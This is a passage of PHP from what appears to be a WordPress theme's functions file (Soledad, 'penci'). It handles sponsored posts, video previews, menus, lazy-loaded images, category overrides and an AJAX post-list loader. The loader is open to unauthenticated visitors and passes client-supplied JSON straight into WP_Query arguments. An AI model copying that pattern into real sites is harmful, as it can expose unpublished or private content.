                <a class="penci-gdrd-show" aria-label="GDRD Show" href="#"><?php echo $penci_gprd_text; ?></a>
			<?php endif; ?>
        </div>

	<?php
	endif;
	if ( get_theme_mod( 'penci_tblogin' ) ) {
		penci_soledad_login_register_popup();
	}
	if ( get_theme_mod( 'penci_footer_analytics' ) ) :
		echo get_theme_mod( 'penci_footer_analytics' );
	endif;
} );

add_filter(
	'post_link',
	function ( $permalink, $post ) {
		$id = $post;
		if ( is_object( $post ) ) {
			$id = $post->ID;
		}

		$enable   = get_post_meta( $id, 'penci_sponsored_post', true );
		$url      = get_post_meta( $id, 'penci_sponsored_url', true );
		$redirect = get_post_meta( $id, 'penci_sponsored_redirect', true );
		if ( $enable && $url && $redirect && ! is_admin() ) {
			$permalink = $url . '" target="_blank';
		}

		return $permalink;
	},
	10,
	2
);

add_filter(
	'clean_url',
	function ( $good_protocol_url, $original_url, $_context ) {
		$id = get_the_ID();
		if ( $id ) {
			$enable   = get_post_meta( $id, 'penci_sponsored_post', true );
			$url      = get_post_meta( $id, 'penci_sponsored_url', true );
			$redirect = get_post_meta( $id, 'penci_sponsored_redirect', true );

			if ( $enable && $url && $redirect && ! is_admin() ) {
				$good_protocol_url = $original_url;
			}
		}

		return $good_protocol_url;
	},
	10,
	3
);

add_action(
	'penci_before_title',
	function () {
		$post_id = get_the_ID();
		$enable  = get_post_meta( $post_id, 'penci_sponsored_post', true );
		$mod     = get_theme_mod( 'penci_sponsored_prefix', true );
		if ( $enable && $mod && ! is_admin() ) {
			echo '<span class="penci-sponsored-label">' . penci_get_setting( 'penci_trans_sponsored' ) . '</span>';
		}
	}
);

add_filter(
	'the_title',
	function ( $post_title, $post_id ) {
		$enable = get_post_meta( $post_id, 'penci_sponsored_post', true );
		$mod    = get_theme_mod( 'penci_sponsored_prefix', true );
		if ( $enable && $mod && ! is_admin() ) {
			$post_title = '<span data-text="' . penci_get_setting( 'penci_trans_sponsored' ) . '" class="penci-sponsored-label"></span>' . $post_title;
		}

		return $post_title;
	},
	10,
	2
);

add_action(
	'penci_single_meta_content',
	function () {
		$id     = get_the_ID();
		$enable = get_post_meta( $id, 'penci_sponsored_post', true );
		$slogo  = get_post_meta( $id, 'penci_sponsored_logo', true );
		$surl   = get_post_meta( $id, 'penci_sponsored_url', true );

		$before = $after = '';
		if ( $surl ) {
			$before = '<a href="' . esc_url( $surl ) . '" target="_blank">';
			$after  = '</a>';
		}
		if ( $enable && ! empty( $slogo ) && isset( $slogo[0] ) ) {

			$img_size = wp_get_attachment_image_src( $slogo[0], 'penci-masonry-thumb' );
			$img_url  = isset( $img_size[0] ) ? $img_size[0] : '';
			$img_w    = isset( $img_size[1] ) ? $img_size[1] : '';
			$img_h    = isset( $img_size[2] ) ? $img_size[2] : '';

			$img_src = 'src="' . penci_holder_image_base( $img_w, $img_h ) . '" class="penci-lazy" data-src="' . $img_url . '"';

			if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
				$img_src = 'src="' . $img_url . '"';
			}

			echo '<span class="penci-sponsored-logo">' . penci_get_setting( 'penci_trans_sponsored_by' ) . $before . '<img width="' . $img_w . '" height="' . $img_h . '" ' . $img_src . ' alt="Sponsored Image">' . $after . '</span>';
		}
	}
);

if ( ! function_exists( 'penci_get_heading_style' ) ) {
	function penci_get_heading_style() {

		$css_class = '';

		$h1_style = get_theme_mod( 'penci_heading_h1_style' );
		$h2_style = get_theme_mod( 'penci_heading_h2_style' );
		$h3_style = get_theme_mod( 'penci_heading_h3_style' );
		$h4_style = get_theme_mod( 'penci_heading_h4_style' );
		$h5_style = get_theme_mod( 'penci_heading_h5_style' );

		if ( $h1_style ) {
			$css_class .= ' heading1-' . $h1_style;
		}

		if ( $h2_style ) {
			$css_class .= ' heading2-' . $h2_style;
		}

		if ( $h3_style ) {
			$css_class .= ' heading3-' . $h3_style;
		}

		if ( $h4_style ) {
			$css_class .= ' heading4-' . $h4_style;
		}

		if ( $h5_style ) {
			$css_class .= ' heading5-' . $h5_style;
		}

		return $css_class;
	}
}

if ( ! function_exists( 'penci_rtl_carousel_fix' ) ) {
	function penci_rtl_carousel_fix( $value ) {
		if ( is_rtl() ) {
			$value = '';
		}

		return $value;
	}

	add_filter( 'theme_mod_penci_carousel_slider_effect', 'penci_rtl_carousel_fix' );
	add_filter( 'theme_mod_penci_fslider_carousel_slider_effect', 'penci_rtl_carousel_fix' );
}


add_filter(
	'wp_trim_words',
	function ( $text, $num_words, $more, $original_text ) {
		$sponsored_text = penci_get_setting( 'penci_trans_sponsored' );
		$post_title     = wp_strip_all_tags( get_the_title() );
		$original_text  = wp_strip_all_tags( $original_text );
		if ( $post_title == $original_text && substr( $text, 0, strlen( $sponsored_text ) ) === $sponsored_text ) {
			$text = str_replace( $sponsored_text, '', $text );
			$text = '<span data-text="' . penci_get_setting( 'penci_trans_sponsored' ) . '" class="penci-sponsored-label pcfrpl"></span>' . $text;
		}

		return $text;
	},
	90,
	4
);


if ( ! function_exists( 'get_default_term_thumb_url' ) ) {
	function get_default_term_thumb_url( $term_id, $thumbnail = 'thumbnail', $show_default = true ) {

		$tag      = get_term( $term_id );
		$tax_data = get_taxonomy( $tag->taxonomy );

		if ( $tax_data->name == 'category' ) {
			$option_name = 'category_' . $term_id;
		} else {
			$option_name = 'penci_tax_' . $tax_data->name . '_' . $term_id;
		}

		$cat_image_data = get_option( $option_name );
		$default_url    = penci_get_default_thumbnail_url();
		$image_url      = isset( $cat_image_data['thumbnail_id'] ) && wp_get_attachment_image_url( $cat_image_data['thumbnail_id'], $thumbnail ) ? wp_get_attachment_image_url( $cat_image_data['thumbnail_id'], $thumbnail ) : '';

		if ( $show_default && ! $image_url ) {

			$term_data = get_term( $term_id );
			$tax_name  = $term_data->taxonomy;

			$term_query = new \WP_Query(
				array(
					'tax_query'      => array(
						array(
							'taxonomy' => $tax_name,
							'terms'    => $term_id,
						),
					),
					'posts_per_page' => 1,
					'meta_query'     => array(
						'key'     => '_thumbnail_id',
						'compare' => 'EXISTS',
					),
				)
			);

			if ( $term_query->have_posts() ) {
				while ( $term_query->have_posts() ) {
					$term_query->the_post();

					$image_url = get_the_post_thumbnail_url( get_the_ID(), $thumbnail );

				}
				wp_reset_postdata();
			}
		}

		return $image_url ? $image_url : $default_url;
	}
}


add_action(
	'penci_bookmark_post',
	function () {
		$id          = get_the_ID();
		$enable      = get_post_meta( $id, 'penci_video_preview', true );
		$preview_url = get_post_meta( $id, 'penci_video_preview_url', true );
		if ( $enable && $preview_url ) {
			$url = penci_get_video_url( $preview_url );
			echo '<div data-type="' . esc_url( $url['type'] ) . '" data-url="' . esc_url( $url['url'] ) . '" class="penci-preview-thumb"></div>';
		}
	}
);

if ( ! function_exists( 'penci_get_video_url' ) ) {
	function penci_get_video_url( $url ) {
		// This is a general function for generating an embed link of an FB/Vimeo/Youtube Video.
		$finalUrl = $url;
		$type     = 'self';
		if ( strpos( $url, 'facebook.com/' ) !== false ) {
			// it is FB video
			$finalUrl = 'https://www.facebook.com/plugins/video.php?href=' . rawurlencode( $url ) . '&show_text=1&width=200';
			$type     = 'facebook';
		} elseif ( strpos( $url, 'vimeo.com/' ) !== false ) {
			// it is Vimeo video
			$videoId = explode( 'vimeo.com/', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$finalUrl = 'https://player.vimeo.com/video/' . $videoId . '?autoplay=1&loop=1&title=0&byline=0&portrait=0&muted=1&background=1';
			$type     = 'vimeo';
		} elseif ( strpos( $url, 'youtube.com/' ) !== false ) {
			// it is Youtube video
			$videoId = explode( 'v=', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$finalUrl = 'https://www.youtube.com/embed/' . $videoId . '?&autoplay=1&mute=1&controls=0&loop=1';
			$type     = 'youtube';
		} elseif ( strpos( $url, 'youtu.be/' ) !== false ) {
			// it is Youtube video
			$videoId = explode( 'youtu.be/', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$type     = 'youtube';
			$finalUrl = 'https://www.youtube.com/embed/' . $videoId . '?&autoplay=1&mute=1&controls=0&loop=1';
		}

		return array(
			'url'  => $finalUrl,
			'type' => $type,
		);
	}
}

if ( ! function_exists( 'penci_menu_childs' ) ) {
	function penci_menu_childs( $items, $id ) {
		$child_items = array();
		if ( ! empty( $items ) ) {
			foreach ( $items as $key => $child ) {
				if ( $child->menu_item_parent == $id ) {
					$child_items[] = $child;
					penci_find_child_menu_items( $child->ID, $items, $child_items );
				}
			}
		}

		return $child_items;
	}
}

if ( ! function_exists( 'penci_find_child_menu_items' ) ) {
	function penci_find_child_menu_items( $parentId, $items, &$child_items ) {
		foreach ( $items as $key => $item ) {
			if ( $item->menu_item_parent == $parentId ) {
				$child_items[] = $item;
				penci_find_child_menu_items( $item->ID, $items, $child_items );
			}
		}
	}
}

if ( ! function_exists( 'penci_menu_parent_id' ) ) {
	function penci_menu_parent_id( $items, $child_id ) {
		if ( ! $child_id ) {
			return 0;
		}

		return penci_menu_find_parent_id( $items, $child_id );
	}
}

if ( ! function_exists( 'penci_menu_find_parent_id' ) ) {
	function penci_menu_find_parent_id( $items, $child_id ) {
		foreach ( $items as $element ) {

			if ( $child_id == $element->ID ) {
				$ID = $element->menu_item_parent ? $element->menu_item_parent : $element->ID;

				while ( $ID != $element->ID ) {
					$element = penci_get_element_by_id( $items, $ID );
					if ( ! $element ) {
						break;
					}
					$ID = $element->menu_item_parent ? $element->menu_item_parent : $element->ID;
				}

				return $ID;
			}
		}

		return 0;
	}
}

if ( ! function_exists( 'penci_get_element_by_id' ) ) {
	function penci_get_element_by_id( $items, $id ) {
		foreach ( $items as $element ) {
			if ( $element->ID == $id ) {
				return $element;
			}
		}

		return null;
	}
}

if ( ! function_exists( 'penci_layout_bg' ) ) {
	function penci_layout_bg( $url, $lazy = '' ) {
		if ( get_theme_mod( 'penci_img_layouttag' ) ) {
			return;
		}
		$enable_lazy = true;

		if ( is_single() && ( get_theme_mod( 'penci_disable_lazyload_single' ) || get_theme_mod( 'penci_disable_lazyload_layout' ) ) ) {
			$enable_lazy = false;
		} else if ( ! $lazy ) {
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' );
		}

		if ( $enable_lazy ) {
			$img = ' data-bgset="' . $url . '"';
		} else {
			preg_match( '/\bhttps?:\/\/\S+?\.(?:jpg|jpeg|gif|png|webp)\b/i', $url, $matches );
			$imageUrl = isset( $matches[0] ) ? $matches[0] : get_the_post_thumbnail_url( get_the_ID(), penci_featured_images_size() );
			$img      = ' style="background-image:url(' . $imageUrl . ')"';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_layout_bg_class' ) ) {
	function penci_layout_bg_class( $lazy = '' ) {
		if ( get_theme_mod( 'penci_img_layouttag' ) ) {
			return false;
		}
		$enable_lazy = true;

		if ( ! $lazy ) {
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' );
		}

		if ( $enable_lazy ) {
			$img = 'penci-lazy';
		} else {
			$img = 'penci-no-lazy';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_layout_img' ) ) {
	function penci_layout_img( $url, $title = '', $lazy = '' ) {
		if ( ! get_theme_mod( 'penci_img_layouttag' ) ) {
			return false;
		}
		$enable_lazy = true;


		if ( ! $lazy ) {
			// Check if lazy loading should be enabled
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' )
			               || ( is_single() && ! get_theme_mod( 'penci_disable_lazyload_single' ) );
		}

		if ( $enable_lazy ) {
			$img = '<img class="penci-lazy" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="' . $url . '" alt="' . esc_attr( wp_strip_all_tags( $title ) ) . '"/>';
		} else {
			$img = '<img class="penci-dis-lazy" src="' . $url . '" alt="' . esc_attr( wp_strip_all_tags( $title ) ) . '"/>';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_cat_header_layout_builder' ) ) {
	add_filter( 'theme_mod_pchdbd_all', 'penci_cat_header_layout_builder', 999 );
	add_filter( 'theme_mod_pchdbd_archive', 'penci_cat_header_layout_builder', 999 );
	function penci_cat_header_layout_builder( $value ) {
		if ( is_category() || is_tax() || is_tag() ) {
			$term_id          = is_category() ? get_query_var( 'cat' ) : get_queried_object_id();
			$option_name      = is_category() ? "category_$term_id" : 'penci_tax_' . $term_id;
			$category_options = get_option( $option_name );

			if ( isset( $category_options['cat_header_builder'] ) && $category_options['cat_header_builder'] ) {
				return $category_options['cat_header_builder'];
			}

			if ( isset( $category_options['cat_header'] ) && $category_options['cat_header'] &&
			     ( ! isset( $category_options['cat_header_builder'] ) || $category_options['cat_header_builder'] == '' ) ) {
				return '';
			}
		}

		return $value;
	}
}

if ( ! function_exists( 'penci_single_header_layout_builder' ) ) {
	add_filter( 'theme_mod_pchdbd_all', 'penci_single_header_layout_builder', 999 );
	add_filter( 'theme_mod_pchdbd_post', 'penci_single_header_layout_builder', 999 );
	function penci_single_header_layout_builder( $value ) {
		if ( is_single() ) {

			$single_header_builder = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			$single_header_layout  = penci_get_single_key( get_the_ID(), 'penci_header_layout' );

			if ( $single_header_builder && ! empty( $single_header_builder ) ) {
				return $single_header_builder;
			}

			if ( $single_header_layout && ! empty( $single_header_layout ) &&
			     ( ! $single_header_builder || empty( $single_header_builder ) ) ) {
				return '';
			}
		}

		return $value;
	}

	add_filter( 'theme_mod_penci_header_layout', function ( $value ) {

		if ( is_single() ) {
			$run   = penci_get_single_key( get_the_ID(), 'penci_header_layout' );
			$value = $run ? $run : $value;
		}

		return $value;

	} );
}

if ( ! function_exists( 'penci_get_cat_data' ) ) {
	function penci_get_cat_data( $option, $default ) {
		if ( is_category() || is_tax() || is_tag() ) {
			$term_id          = is_category() ? get_query_var( 'cat' ) : get_queried_object_id();
			$option_name      = is_category() ? "category_$term_id" : 'penci_tax_' . $term_id;
			$category_options = get_option( $option_name );

			if ( isset( $category_options[ $option ] ) && $category_options[ $option ] ) {
				return $category_options[ $option ];
			}
		}

		return $default;
	}
}

$pc_category_filters = array(
	'theme_mod_penci_header_layout'      => 'cat_header',
	'theme_mod_penci_color_accent'       => 'penci_archive_acolor',
	'theme_mod_penci_general_text_color' => 'penci_archive_gtextcolor',
	'theme_mod_penci_bg_color_dark'      => 'penci_archive_cbgcolor',
	'theme_mod_penci_border_color_dark'  => 'penci_archive_bdcolor',
);

foreach ( $pc_category_filters as $mod => $option ) {
	add_filter( $mod, function ( $value ) use ( $option ) {
		return penci_get_cat_data( $option, $value );
	}, 999 );
}

$single_post_category_filters = array(
	'theme_mod_penci_color_accent'       => 'penci_archive_acolor',
	'theme_mod_penci_general_text_color' => 'penci_archive_gtextcolor',
	'theme_mod_penci_bg_color_dark'      => 'penci_archive_cbgcolor',
	'theme_mod_penci_border_color_dark'  => 'penci_archive_bdcolor',
);

foreach ( $single_post_category_filters as $mod => $option ) {
	add_filter( $mod, function ( $value ) use ( $option ) {

		if ( is_single() ) {

			$term_id          = penci_get_post_pri_cat();
			$category_options = get_option( "category_$term_id" );

			if ( isset( $category_options['cat_colors_single'] ) && $category_options['cat_colors_single'] == 'yes' && isset( $category_options[ $option ] ) && $category_options[ $option ] ) {
				return $category_options[ $option ];
			}

		}

		return $value;


	}, 999 );
}

add_action( 'penci_sub_cat_list', function () {
	if ( is_category() && get_theme_mod( 'penci_archive_show_sub' ) ) {
		$current_cat_id = get_queried_object_id();
		$cols 			= get_theme_mod( 'penci_archive_show_sub_col', 3 );
		$desc 			= get_theme_mod( 'penci_archive_show_sub_desc' );
		$childs         = get_terms( [
			'taxonomy' => get_queried_object()->taxonomy,
			'parent'   => $current_cat_id,
		] );
		if ( ! empty ( $childs ) ) {

			?>

            <div class="categories-block pc-cat-archive cols-<?php echo esc_attr( $cols ); ?>">

                <ul class="cat-archive-list">
					<?php

					foreach ( $childs as $cat ) {

						$cat_class    = array( 'cat-block-' . $cat->term_id );
						$penci_cat_bg = get_default_term_thumb_url( $cat->term_id, 'penci-masonry-thumb' );
						$cat_bg       = '';
						if ( $penci_cat_bg ) {
							$cat_class[] = 'has-bg';
							$cat_class[] = penci_layout_bg_class();
							$cat_bg      = penci_layout_bg( $penci_cat_bg );
						}
						?>

                        <li <?php echo $cat_bg; ?> class="<?php echo join( ' ', $cat_class ) ?>">

                            <a href="<?php echo get_category_link( $cat->term_id ) ?>">
                                <h4 class="category-title"><?php echo esc_html( $cat->name ) ?></h4>
								<?php if ( $desc && $cat->description ) : ?>
									<p class="category-desc"><?php echo esc_html( $cat->description ) ?></p>
								<?php endif; ?>
                                <span class="category-count"><?php echo esc_html( $cat->count ) ?></span>
                            </a>

                        </li>

						<?php
					}
					?>
                </ul>
            </div>

			<?php
		}
	}
} );

add_action( 'wp_ajax_penci_mtp_getdata', 'penci_mtp_getdata' );
add_action( 'wp_ajax_nopriv_penci_mtp_getdata', 'penci_mtp_getdata' );
function penci_mtp_getdata() {
	check_ajax_referer( 'penci-mtp-filters', 'nonce' );
	$paged     = wp_unslash( $_POST['paged'] );
	$tax       = wp_unslash( $_POST['tax'] );
	$ids       = wp_unslash( $_POST['ids'] );
	$query     = wp_unslash( $_POST['query'] );
	$settings  = wp_unslash( $_POST['settings'] );
	$post_args = json_decode( $query, true );
	$settings  = json_decode( $settings, true );
	if ( $ids ) {
		unset( $post_args['tax_query'] );
		$ids                      = explode( '|', $ids );
		$post_args['tax_query'][] = [
			'operator' => 'IN',
			'taxonomy' => $tax,
			'terms'    => $ids,
		];
	}
	$post_args['paged'] = $paged;
	$post_list          = new WP_Query( $post_args );

	ob_start();

	if ( $post_list->have_posts() ) {
		while ( $post_list->have_posts() ) {
			$post_list->the_post();
			?>
            <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
				echo ' pcsl-nothumb';
			} ?>">
                <div class="pcsl-itemin">
                    <div class="pcsl-iteminer">


						<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                            <div class="pcsl-thumb">
								<?php
								do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
								/* Display Review Piechart  */
								if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), 'small' );
								}
								?>
								<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                                <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), $settings['thumbnail'] ), 'yes' != $settings['disable_lazy'] ); ?>
                                        href="<?php the_permalink(); ?>"
                                        title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                        class="<?php echo penci_layout_bg_class( 'yes' != $settings['disable_lazy'] ); ?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
									echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $settings['thumbnail'], true ) . '%"';
								} ?>>
									<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), $settings['thumbnail'] ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                </a>

                            </div>
						<?php } ?>
                        <div class="pcsl-content">
							<?php if ( in_array( 'cat', $settings['post_meta'] ) ) : ?>
                                <div class="cat pcsl-cat">
									<?php penci_category( '', $settings['primary_cat'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( in_array( 'title', $settings['post_meta'] ) ) : ?>
                                <div class="pcsl-title">
                                    <a href="<?php the_permalink(); ?>"<?php if ( $settings['title_length'] ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php

										if ( ! $settings['title_length'] ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $settings['title_length'], '...' );
										} ?></a>
                                </div>
							<?php endif; ?>

							<?php if ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] || ( count( array_intersect( array(
										'author',
										'date',
										'comment',
										'views',
										'reading'
									), $settings['post_meta'] ) ) > 0 ) || ( count( array_intersect( array(
										'author',
										'comment',
										'views',
										'reading'
									), $settings['post_meta'] ) ) > 0 ) ) { ?>

								<?php if ( $settings['column'] == 1 ) { ?>
                                    <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
										<?php if ( in_array( 'date', $settings['post_meta'] ) ) : ?>
                                            <span class="sl-date"><?php penci_soledad_time_link( null, $settings['dformat'] ); ?></span>
										<?php endif; ?>
                                    </div>
								<?php } ?>

                                <div class="grid-post-box-meta pcsl-meta">
									<?php if ( in_array( 'author', $settings['post_meta'] ) ) : ?>
                                        <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
													</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $settings['post_meta'] ) && $settings['column'] > 1 ) : ?>
                                        <span class="sl-date"><?php penci_soledad_time_link( null, $settings['dformat'] ); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $settings['post_meta'] ) ) : ?>
                                        <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $settings['post_meta'] ) ) {
										echo '<span class="sl-views">';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php
									$hide_readtime = in_array( 'reading', $settings['post_meta'] ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="sl-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
										'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
										'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
										'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
										'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
									] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php } ?>

							<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $settings['excerpt_pos'] ) { ?>
                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
									<?php penci_the_excerpt( $settings['excerpt_length'] ); ?>
                                </div>
							<?php } ?>
							<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $settings['excerpt_pos'] ) { ?>
                                <div class="pcsl-readmore">
                                    <a href="<?php the_permalink(); ?>"
                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $settings['rmstyle']; ?>">
										<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                    </a>
                                </div>
							<?php } ?>

                        </div>

						<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $settings['excerpt_pos'] ) { ?>
                            <div class="pcsl-flex-full">
								<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                    <div class="pcbg-pexcerpt pcsl-pexcerpt">
										<?php penci_the_excerpt( $settings['excerpt_length'] ); ?>
                                    </div>
								<?php } ?>
								<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                    <div class="pcsl-readmore">
                                        <a href="<?php the_permalink(); ?>"
                                           class="pcsl-readmorebtn pcsl-btns-<?php echo $settings['rmstyle']; ?>">
											<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                        </a>
                                    </div>
								<?php } ?>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
			<?php
		}
		wp_reset_postdata();
	}
	$out = ob_get_clean();
	wp_send_json_success( [ 'html' => $out, 'paged' => $post_args['paged'] ] );
}

add_filter( 'body_class', function ( $classes ) {
	$class = get_theme_mod( 'penci_tags_style' );
	if ( $class ) {
		$classes[] = 'pcstyle-' . $class;
	}

	return $classes;
} );

add_action( 'penci_header_wrap', function () {
	echo get_theme_mod( 'penci_custom_code_after_header_tag' );
} );

add_filter( 'wp_generate_tag_cloud', function ( $tag_string ) {
	return preg_replace( '/style=("|\')(.*?)("|\')/', '', $tag_string );
}, 10, 1 );

if ( ! function_exists( 'penci_vernav_builder_content' ) ) {
	function penci_vernav_builder_content( $id = 'penci_moble_vertical_block' ) {
		$nav_builder_slug = get_theme_mod( $id );

		if ( ! $nav_builder_slug ) {
			return;
		}

		$content = '';
		$nav_id  = '';

		$nav_data = get_page_by_path( $nav_builder_slug, OBJECT, 'penci-block' );
		if ( isset( $nav_data->ID ) && $nav_data->ID ) {
			$nav_id = $nav_data->ID;
		}

		if ( $nav_id ) {
			$nav_content = get_post( $nav_id );

			if ( $nav_content ) {
				if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $nav_id )->is_built_with_elementor() ) {
					$content .= '<div id="footer-section" class="pcfb-wrapper">';
					$content .= penci_get_elementor_content( $nav_id );
					$content .= '</div>';
				} else {
					$content .= '<div id="footer-section" class="pcfb-wrapper js-composer-content">';
					$content .= do_shortcode( $nav_content->post_content );

					$shortcodes_custom_css = get_post_meta( $nav_id, '_wpb_shortcodes_custom_css', true );

					$content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$content .= $shortcodes_custom_css;
					}
					$content .= '</style>';
					$content .= '</div>';
				}
			}
		}

		return $content;
	}
}
if ( ! function_exists( 'penci_add_support_table_responsive' ) ) {
	add_filter( 'the_content', 'penci_add_support_table_responsive', 100, 1 );
	function penci_add_support_table_responsive( $content ) {

		$pattern     = '/(<table\b[^>]*>)(.*?)(<\/table>)/is';
		$replacement = '<div class="pcrstb-wrap">$1$2$3</div>';

		// Use preg_replace to search for the pattern and wrap the matched content
		$content = preg_replace( $pattern, $replacement, $content );

		return $content;

	}
}
add_filter( 'theme_mod_penci_post_related', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_post_related_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'theme_mod_penci_related_post_popup', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_related_post_popup_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'penci_sidebar_archive', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_sidebar_archive_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'penci_single_layout', function ( $value ) {
	$mobile_layout = get_theme_mod( 'penci_single_layout_mobile' );

	if ( penci_is_mobile() && $mobile_layout ) {
		return $mobile_layout;
	}

	return $value;
} );

function penci_more_ct_class() {
	$class = '';

	if ( get_theme_mod( 'penci_single_content_h' ) ) {
		$class = 'pcct-limit-height';
	}

	if ( ! get_theme_mod( 'penci_single_content_h' ) && get_theme_mod( 'penci_single_content_hm' ) && penci_is_mobile() ) {
		$class = 'pcct-limit-height-mobile';
	}

	return $class;
}

add_filter( 'penci_action_before_the_content', function () {
	if ( penci_more_ct_class() ) {
		echo '<div class="penci-sg-cth ' . penci_more_ct_class() . '">';
	}
} );

add_filter( 'penci_action_after_the_content', function () {

	$button = '';

	if ( get_theme_mod( 'penci_single_content_h' ) || get_theme_mod( 'penci_single_content_hm' ) ) {
		$button = '<div class="penci-btn-more-content"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" class="penci-bmca" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
	}

	if ( get_theme_mod( 'penci_single_content_hm' ) && ! get_theme_mod( 'penci_single_content_h' ) && ! penci_is_mobile() ) {
		$button = '';
	}

	if ( $button ) {
		echo $button . '</div>';
	}

} );

if ( ! function_exists( 'penci_get_post_pri_cat' ) ) {
	function penci_get_post_pri_cat( $id = '' ) {
		if ( ! $id ) {
			$id = get_the_ID();
		}

		$primary_id = false;

		$primary_id = get_post_meta( $id, 'pcpricat_primary_category', true );

		// Get primary cat from Yoast
